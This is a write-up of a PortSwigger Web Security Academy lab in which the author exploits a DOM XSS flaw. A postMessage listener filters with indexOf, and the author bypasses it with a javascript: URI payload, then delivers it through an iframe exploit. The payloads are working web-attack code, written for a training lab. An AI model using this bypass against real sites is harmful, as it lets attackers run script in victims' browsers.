Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type DOM XSS via postMessagelocation.href
Difficulty Practitioner
Objective Send a web message that calls print() via a JavaScript URL redirect

DOM XSS Using Web Messages and a JavaScript URL — Writeup


Reconnaissance

Initial Observation

Inspecting the page source reveals this script:

Screenshot
window.addEventListener('message', function(e) {
    var url = e.data;
    if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
        location.href = url;
    }
}, false);

The page listens for messages, stores the data as url, and if that string contains http: or https: anywhere, it navigates to it via location.href. The check uses indexOf — it's not validating the start of the string, just that the substring exists somewhere in it.

Web — Testing the Redirect and JavaScript URL

Confirming location.href redirects in the console:

location.href = "https://google.com"
Screenshot

Redirects to Google. Testing a javascript: URI:

location.href = "javascript:alert(0)"
Screenshot

Alert fires. location.href accepts javascript: URIs and executes them. The problem is the filter — the payload has to contain http: or https: to pass the indexOf check.

Testing how indexOf handles strings:

"http://teto.com".indexOf("http://")         // 0  → passes
"https://teto.com".indexOf("https://")       // 0  → passes
"javascript:alert(0)//http://teto.com".indexOf("http://")  // 19 → also passes
Screenshot

indexOf finds http:// at position 19 inside a javascript: URI — the check passes. Sending it via postMessage:

postMessage("javascript:alert(0)//http://teto.comasdasdad")
Screenshot

Alert fires. The // turns everything after it into a comment inside the javascript: URI, so http://teto.com never executes — it's just there to satisfy the filter.


Attack Path

Exploit — iframe + postMessage with javascript: URI

Same iframe pattern as the previous lab, just swapping the payload:

<iframe src="https://0a0300810342d0b781cdf230008f00d9.web-security-academy.net/" onload='this.contentWindow.postMessage("javascript:print()//http://teto.com", "*")'></iframe>

Viewing the exploit:

Screenshot

print() fires. Delivering to victim:

Screenshot

Lab solved :P

Resources